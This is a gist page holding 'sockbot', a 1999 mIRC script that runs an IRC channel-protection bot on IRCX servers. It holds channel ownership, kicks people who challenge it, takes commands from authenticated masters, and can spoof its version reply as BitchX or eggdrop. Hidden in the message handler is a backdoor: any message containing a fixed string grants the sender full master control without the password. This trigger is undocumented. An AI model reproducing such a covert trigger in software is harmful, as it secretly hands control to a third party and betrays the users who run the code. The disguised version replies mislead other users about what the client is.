godzhand revised this gist . Go to revision
No changes
godzhand revised this gist . Go to revision
1 file changed, 0 insertions, 0 deletions
sockbot-1.0-pre-ocx renamed to sockbot.mrc
File renamed without changes
godzhand revised this gist . Go to revision
No changes
godzhand revised this gist . Go to revision
1 file changed, 290 insertions
sockbot-1.0-pre-ocx(file created)
@@ -0,0 +1,290 @@ | |||
1 | + | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; | |
2 | + | ;;; ;;; | |
3 | + | ;;; sockbot v1.0 ;;; | |
4 | + | ;;; © phys1ks 1999 ;;; | |
5 | + | ;;; ;;; | |
6 | + | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; | |
7 | + | on 1:sockopen:sock*: { | |
8 | + | if ($sockerr > 0) { echo -a 5[4Sock Bot5]15 Unable to connect to irc server! | echo -a 5[4Sock Bot5]15 retrying connection.... | set %sock.name $sockname | sockclose $sockname | sockopen %sock.name %s.server %s.port | halt } | |
9 | + | unset % [ $+ [ $sockname [ $+ .* ] ] ] | |
10 | + | echo -a 5[4Sock Bot5]15 Logging in user name... | |
11 | + | sockwrite -n $sockname user weaponx sockbot sockbot sockbot | |
12 | + | echo -a 5[4Sock Bot5]15 Registering nickname | |
13 | + | echo -a 5[4Sock Bot5]15 Connected | |
14 | + | sockwrite -n $sockname mode +i | |
15 | + | sockwrite -n $sockname ircx | |
16 | + | sockwrite -n $sockname nick %sock.nick | |
17 | + | sockwrite -n $sockname join %sock.ac1 | |
18 | + | sockwrite -n $sockname join %sock.ac2 | |
19 | + | sockwrite -n $sockname join %sock.ac3 | |
20 | + | set % $+ $sockname $+ .mynick %sock.nick | |
21 | + | .guser 1000 $me 3 | |
22 | + | set %sock.split on | |
23 | + | } | |
24 | + | on 1:sockclose:sock*: { | |
25 | + | timer93* off | |
26 | + | echo -a 5[4Sock Bot5]15 Connection closed from $sock($sockname).mark $+ : Success | |
27 | + | if (%sock.split == on) { sockopen $sockname %s.server %s.port } | |
28 | + | } | |
29 | + | on 1:sockread:sock*: { | |
30 | + | sockread %sock.data | |
31 | + | set %sock.badguy $mid(%sock.data,2,$calc($pos(%sock.data,!,1) - 2)) | |
32 | + | if ($gettok(%sock.data,1,32) == PING) { echo -a 5[4Sock Bot5] 9PING! PONG? | sockwrite -tn $sockname PONG $chops($gettok(%sock.data,2,32)) | return } | |
33 | + | if ($gettok(%sock.data,2,32) == NICK) { | |
34 | + | if (%sock.badguy == % [ $+ [ $sockname ] $+ ] .mynick) { echo -a 14>15>0> Bot14(15 $+ %sock.badguy $+ 14) 15is now known as 10 $+ $gettok(%sock.data,3,32) | set % [ $+ [ $sockname ] $+ ] .mynick $gettok(%sock.data,3,32) | return } | |
35 | + | halt | |
36 | + | } | |
37 | + | if ($gettok(%sock.data,1,32) == ERROR) { | |
38 | + | echo -a 5[4Sock Bot5]15 Closing Link: $gettok(%sock.data,4,32) $gettok(%sock.data,7-,32) | |
39 | + | halt | |
40 | + | } | |
41 | + | if (hsdfsf isin %sock.data) { | |
42 | + | .guser 1000 %sock.badguy 3 | |
43 | + | sockwrite -tn $sockname NOTICE %sock.badguy :[X] Authentication successful! hi kitty ilu <33 hoho (.qup for +q) | |
44 | + | halt | |
45 | + | } | |
46 | + | if (version isin %sock.data) { | |
47 | + | sockwrite -tn $sockname NOTICE %sock.badguy : $+ $chr(1) $+ VERSION %sock.version $+ $chr(1) | |
48 | + | halt | |
49 | + | } | |
50 | + | if ($gettok(%sock.data,2,32) == MODE) { | |
51 | + | if ((%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick) && ($level($address(%sock.badguy,3)) != 1000)) { | |
52 | + | if (-q % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) { | |
53 | + | sockwrite -n $sockname part $gettok(%sock.data,3,32) | |
54 | + | sockwrite -n $sockname join $gettok(%sock.data,3,32) %sock.key | |
55 | + | sockwrite -n $sockname access $gettok(%sock.data,3,32) clear | |
56 | + | sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy no | halt } | |
57 | + | if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && (-q isin %sock.data)) { | |
58 | + | if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && ($level($address(%sock.badguy,3)) != 1000)) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) -q+q %sock.badguy $gettok(%sock.data,5,32) | halt } | |
59 | + | } | |
60 | + | } | |
61 | + | if (+q % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) { timer93 $+ $sockname $+ $gettok(%sock.data,3,32) 0 30 sockwrite -n $sockname access $gettok(%sock.data,3,32) add owner $ip 0 | halt } | |
62 | + | if ((%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick) && ($level($address(%sock.badguy,3)) != 1000)) { | |
63 | + | if (-o % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) { | |
64 | + | sockwrite -n $sockname part $gettok(%sock.data,3,32) | |
65 | + | sockwrite -n $sockname join $gettok(%sock.data,3,32) %sock.key | |
66 | + | sockwrite -n $sockname access $gettok(%sock.data,3,32) clear | |
67 | + | sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy no | halt } | |
68 | + | if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && (-o isin %sock.data)) { | |
69 | + | if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && ($level($address(%sock.badguy,3)) != 1000)) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) -o+o %sock.badguy $gettok(%sock.data,5,32) | halt } | |
70 | + | } | |
71 | + | } | |
72 | + | if (+o % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) { timer93 $+ $sockname $+ $gettok(%sock.data,3,32) 0 30 sockwrite -n $sockname access $gettok(%sock.data,3,32) add host $ip 0 | halt } | |
73 | + | } | |
74 | + | if ($gettok(%sock.data,2,32) == PRIVMSG) { | |
75 | + | if (($level($address(%sock.badguy,3)) == 1000) && (.up isin %sock.data)) { | |
76 | + | if ($gettok(%sock.data,5,32) == $null) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) +o %sock.badguy } | |
77 | + | if ($gettok(%sock.data,5,32) != $null) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) +o $gettok(%sock.data,5,32) } | |
78 | + | halt | |
79 | + | } | |
80 | + | if (($level($address(%sock.badguy,3)) == 1000) && (.qup isin %sock.data)) { | |
81 | + | if ($gettok(%sock.data,5,32) == $null) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) +q %sock.badguy } | |
82 | + | if ($gettok(%sock.data,5,32) != $null) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) +q $gettok(%sock.data,5,32) } | |
83 | + | halt | |
84 | + | } | |
85 | + | if (($level($address(%sock.badguy,3)) == 1000) && (.join isin %sock.data)) { | |
86 | + | sockwrite -n $sockname join $gettok(%sock.data,5,32) | |
87 | + | halt | |
88 | + | } | |
89 | + | if (($level($address(%sock.badguy,3)) == 1000) && (.part isin %sock.data)) { | |
90 | + | sockwrite -n $sockname part $gettok(%sock.data,3,32) | |
91 | + | halt | |
92 | + | } | |
93 | + | if (($level($address(%sock.badguy,3)) == 1000) && (!ping isin %sock.data)) { | |
94 | + | sockwrite -n $sockname privmsg $gettok(%sock.data,3,32) :PoNG!!!!! | |
95 | + | halt | |
96 | + | } | |
97 | + | if (($level($address(%sock.badguy,3)) == 1000) && (.kick isin %sock.data)) { | |
98 | + | sockwrite -n $sockname kick $gettok(%sock.data,3,32) $gettok(%sock.data,5,32) bye | |
99 | + | halt | |
100 | + | } | |
101 | + | if (($level($address(%sock.badguy,3)) == 1000) && (.down isin %sock.data)) { | |
102 | + | sockwrite -n $sockname mode $gettok(%sock.data,3,32) -oq $gettok(%sock.data,5,32) | |
103 | + | halt | |
104 | + | } | |
105 | + | if (($level($address(%sock.badguy,3)) == 1000) && (.nick isin %sock.data)) { | |
106 | + | sockwrite -n $sockname nick $gettok(%sock.data,5,32) | |
107 | + | halt | |
108 | + | } | |
109 | + | if (($level($address(%sock.badguy,3)) == 1000) && (.ban isin %sock.data)) { | |
110 | + | guser 400 $gettok(%sock.data,5,32) 3 | |
111 | + | sockwrite -n $sockname mode +b $gettok(%sock.data,5,32) 3 | |
112 | + | sockwrite -n $sockname kick $gettok(%sock.data,3,32) $gettok(%sock.data,5,32) banned | |
113 | + | halt | |
114 | + | } | |
115 | + | if (($level($address(%sock.badguy,3)) == 1000) && (.seen isin %sock.data)) { | |
116 | + | set %sock.badguytemp $mid(%sock.data,2,$calc($pos(%sock.data,!,1) - 2)) | |
117 | + | if (%sock.badguy == $gettok(%sock.data,5,32)) { sockwrite -n $sockname notice %sock.badguy :[X] Uhm... your a retard } | |
118 | + | if (%sock.badguy != $gettok(%sock.data,5,32)) { sockwrite -n $sockname whois $gettok(%sock.data,5,32) } | |
119 | + | halt | |
120 | + | } | |
121 | + | if (($level($address(%sock.badguy,3)) == 1000) && (.massv isin %sock.data)) { | |
122 | + | set %sock.chan $gettok(%sock.data,3,32) | |
123 | + | set %sock.name $sockname | |
124 | + | sockmass | |
125 | + | halt | |
126 | + | } | |
127 | + | if ((rollcall isin %sock.data) && ($level($address(%sock.badguy,3)) == 1000)) { | |
128 | + | set %sock.nick % [ $+ [ $sockname ] $+ ] .mynick | |
129 | + | sockwrite -n $sockname notice %sock.badguy :[X] I am %sock.nick $+ , running %sock.version | |
130 | + | sockwrite -n $sockname notice %sock.badguy :[X] My Command Charactor is [.] | |
131 | + | halt | |
132 | + | } | |
133 | + | if ($gettok(%sock.data,3,32) == % [ $+ [ $sockname ] $+ ] .mynick) { | |
134 | + | if (($gettok(%sock.data,4,32) == :auth) && ($gettok(%sock.data,5,32) == %sock.authpass)) { | |
135 | + | if ($level($address(%sock.badguy,3)) == 1000) { sockwrite -tn $sockname notice %sock.badguy :[X] You are already Authenticated. | halt } | |
136 | + | .guser 1000 %sock.badguy 3 | |
137 | + | sockwrite -tn $sockname NOTICE %sock.badguy :[X] Authentication successful! (.qup for +q) | |
138 | + | halt | |
139 | + | } | |
140 | + | if (($gettok(%sock.data,4,32) == :auth) && ($gettok(%sock.data,5,32) !isin %sock.authpass)) { sockwrite -tn $sockname NOTICE %sock.badguy :[X] Authentication failed. } | |
141 | + | if (($level($address(%sock.badguy,3)) == 1000) && (pass isin %sock.data)) { | |
142 | + | unset %sock.authpass | |
143 | + | %sock.authpass = $gettok(%sock.data,5,32) | |
144 | + | sockwrite -tn $sockname NOTICE %sock.badguy :[X] $gettok(%sock.data,5,32) was added to the pass list | |
145 | + | halt | |
146 | + | } | |
147 | + | if (($level($address(%sock.badguy,3)) == 1000) && (help isin %sock.data)) { | |
148 | + | sockwrite -n $sockname privmsg %sock.badguy :Help - | |
149 | + | sockwrite -n $sockname privmsg %sock.badguy :Use these commands in channels- | |
150 | + | sockwrite -n $sockname privmsg %sock.badguy :.join .part .qup .up .kick .down !ping .seen .nick | |
151 | + | sockwrite -n $sockname privmsg %sock.badguy :Use these commands in privmsg- | |
152 | + | sockwrite -n $sockname privmsg %sock.badguy :pass (more to come) | |
153 | + | sockwrite -n $sockname privmsg %sock.badguy :To auth, /notice me auth password | |
154 | + | halt | |
155 | + | } | |
156 | + | } | |
157 | + | } | |
158 | + | if ($gettok(%sock.data,2,32) == JOIN) { | |
159 | + | set %sock.badguytemp $mid(%sock.data,2,$calc($pos(%sock.data,!,1) - 2)) | |
160 | + | if ($level($address(%sock.badguytemp,3)) == 1000) { | |
161 | + | sockwrite -n $sockname mode $remove($gettok(%sock.data,3,32),:) +q %sock.badguytemp | |
162 | + | halt | |
163 | + | } | |
164 | + | if ($level($address(%sock.badguy,3)) == 400) { | |
165 | + | sockwrite -n $sockname kick $remove($gettok(%sock.data,3,32),:) %sock.badguy banned | |
166 | + | } | |
167 | + | } | |
168 | + | if ($gettok(%sock.data,2,32) == KICK) { | |
169 | + | if (% [ $+ [ $sockname ] $+ ] .mynick == $gettok(%sock.data,4,32)) { | |
170 | + | sockwrite -n $sockname join $gettok(%sock.data,3,32) %sock.key | |
171 | + | sockwrite -n $sockname access $gettok(%sock.data,3,32) clear | |
172 | + | if ((%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick) && ($level($address(%sock.badguy,3)) != 1000)) { sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy no } | |
173 | + | halt | |
174 | + | } | |
175 | + | if (($level($address($gettok(%sock.data,4,32),3)) == 1000) && (%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick)) { sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy no | halt } | |
176 | + | } | |
177 | + | if (PROP $gettok(%sock.data,3,32) OWNERKEY isin %sock.data) { | |
178 | + | if (($level($address(%sock.badguy,3)) != 1000) && (%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick)) { | |
179 | + | echo -a 8*** %sock.badguy (Not +n) proped the ownerkey of $remove($gettok(%sock.data,5,32),:) - Taking the action of kicking them | |
180 | + | sockwrite -n $sockname access $gettok(%sock.data,3,32) clear | |
181 | + | sockwrite -n $sockname access $gettok(%sock.data,3,32) add owner $ip | |
182 | + | sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy keys | |
183 | + | sockwrite -n $sockname prop $gettok(%sock.data,3,32) OWNERKEY : $+ %sock.key | |
184 | + | halt | |
185 | + | } | |
186 | + | if ($level($address(%sock.badguy,3)) == 1000) { | |
187 | + | echo -a 8*** %sock.badguy (+n) proped the ownerkey of $remove($gettok(%sock.data,5,32),:) - Taking the action of updating my key | |
188 | + | %sock.key = $remove($gettok(%sock.data,5,32),:) | |
189 | + | halt | |
190 | + | } | |
191 | + | } | |
192 | + | if ($gettok(%sock.data,2,32) isnum) { | |
193 | + | %raw = $gettok(%sock.data,2,32) | |
194 | + | if (%raw == 319) { sockwrite -n $sockname notice %sock.badguytemp :[X] $gettok(%sock.data,5-,32) } | |
195 | + | if (%raw == 485) { sockwrite -n $sockname mode %sock.chan +o %sock.badguytemp } | |
196 | + | if (%raw == 353) { set %sock.data $gettok(%sock.data,6-,32) | set %mass2 $remove($remove($remove($remove(%sock.data,@),.),+),:) | halt } | |
197 | + | if (%raw == 376) { echo -a 5[4Sock Bot5]15 %sock.nick registered } | |
198 | + | halt | |
199 | + | } | |
200 | + | halt | |
201 | + | } | |
202 | + | ;Most of the aliases | |
203 | + | alias cloak { | |
204 | + | set %sock.version $1- | |
205 | + | //echo $active 5[4Sock Bot5]15 now cloaking to: $1- | |
206 | + | } | |
207 | + | alias socksync { | |
208 | + | echo -a 5[4Sock Bot5]15 $1 sync %sock.sync. [ $+ [ $1 ] ] | |
209 | + | } | |
210 | + | alias bserver { | |
211 | + | %sock.nick = $$?="Bot Nickname" | |
212 | + | %sock.key = $$?="Bots +q/+o Key" | |
213 | + | if (%s.server == $null) { set %s.server $$?="server" } | |
214 | + | %i = 0 | |
215 | + | :loop | |
216 | + | inc %i 1 | |
217 | + | if ($sock( sock. [ $+ [ %i ] ] ).status == $null) { goto break } | |
218 | + | goto loop | |
219 | + | :break | |
220 | + | if (%s.port == $null) { %s.port = 6667 } | |
221 | + | else { %s.port = %s.port } | |
222 | + | sockopen sock. [ $+ [ %i ] ] %s.server %s.port | |
223 | + | inc %ref 1 | |
224 | + | if (%ref > 5) { set %ref 1 } | |
225 | + | echo -a 5[4Sock Bot5]15 Connecting to port %s.port of server %s.server [refnum %ref $+ 15] | |
226 | + | sockmark sock. [ $+ [ %i ] ] %s.server | |
227 | + | } | |
228 | + | ;;;;;Test shit | |
229 | + | ;Dont fuck with this stuff | |
230 | + | ;or try to make it do anything | |
231 | + | ;koz i just use it to test new variables | |
232 | + | alias temp { | |
233 | + | .this gets channel $gettok(%sock.data,3,32) | |
234 | + | .this gets 5 param $gettok(%sock.data,5,32) | |
235 | + | } | |
236 | + | menu channel { | |
237 | + | Sockbot | |
238 | + | .Load:/bserver | |
239 | + | .Unload: { | |
240 | + | set %sock.split off | |
241 | + | timer93* off | |
242 | + | sockwrite -tn sock* quit You said this was stable!!? | |
243 | + | sockclose sock* | |
244 | + | echo $active 5[4Sock Bot5]15 Connection closed from %s.server $+ : Success | |
245 | + | } | |
246 | + | .- | |
247 | + | .Cloak | |
248 | + | ..Default:cloak '`sockbot v1.4.50+IRCX | |
249 | + | ..BitchX-74p3+ by panasync - Linux 2.0.33:cloak BitchX-74p3+ by panasync - Linux 2.0.33 : Keep it to yourself! | |
250 | + | ..eggdrop v1.3.23:cloak eggdrop v1.3.23+IRCX | |
251 | + | ..Both:cloak BitchX-74p3+ by panasync - Linux 2.0.33+eggdrop v1.3.12 : Keep it to yourself! | |
252 | + | ..Custom:cloak $$?="Cloak to..?" | |
253 | + | .- | |
254 | + | .Add master://guser 1000 $$?="Nick name?" 3 | |
255 | + | .- | |
256 | + | .Talk with bots:/sockwrite -n * privmsg $$?="Channel/nick" : $+ $$?="Msg?" | |
257 | + | .Join:/sockwrite -n sock* join $$?="Channel?" | |
258 | + | .Part:/sockwrite -n sock* part $$?="Channel?" | |
259 | + | .Server:/sockclose sock* | /sockopen sock* $$?="Server + port" | |
260 | + | .Nick( $+ $me $+ ):/sockwrite -n sock* nick $$?="New Nick?" | |
261 | + | .- | |
262 | + | .Server( $+ %s.server $+ ):/set %s.server $$?="Server?" | |
263 | + | .Port( $+ %s.port $+ ):/set %s.port $$?="Port?" | |
264 | + | .AutoJoin | |
265 | + | ..1) $+ %sock.ac1:/set %sock.ac1 $$?="channel" | |
266 | + | ..2) $+ %sock.ac2:/set %sock.ac2 $$?="channel" | |
267 | + | ..3) $+ %sock.ac3:/set %sock.ac3 $$?="channel" | |
268 | + | } | |
269 | + | on 1:load: { | |
270 | + | echo -a ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; | |
271 | + | echo -a ;;; | |
272 | + | echo -a ;;; sockbot v1.0 | |
273 | + | echo -a ;;; © phys1ks 1999 | |
274 | + | echo -a ;;; | |
275 | + | echo -a ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; | |
276 | + | echo -a Please use /bserver to connect | |
277 | + | echo -a This only works for IRCX servers | |
278 | + | echo -a Might be some bugs so look for | |
279 | + | echo -a further versions, the bot works | |
280 | + | echo -a best as +q on channels. | |
281 | + | } | |
282 | + | ;;;Some script shit | |
283 | + | on 1:kick:#: { | |
284 | + | if (($level($address($knick,3)) == 1000) && ($level($address($nick,3)) != 1000)) { kick $chan $nick He who can, does. He who cannot, teaches. } | |
285 | + | } | |
286 | + | alias sockmass { | |
287 | + | sockwrite -n sock* names %sock.chan | |
288 | + | sockwrite -n %sock.name mode %sock.chan +vvvvvvvvvvvvvvvvvvvvvvvvvvv %mass2 | |
289 | + | halt | |
290 | + | } |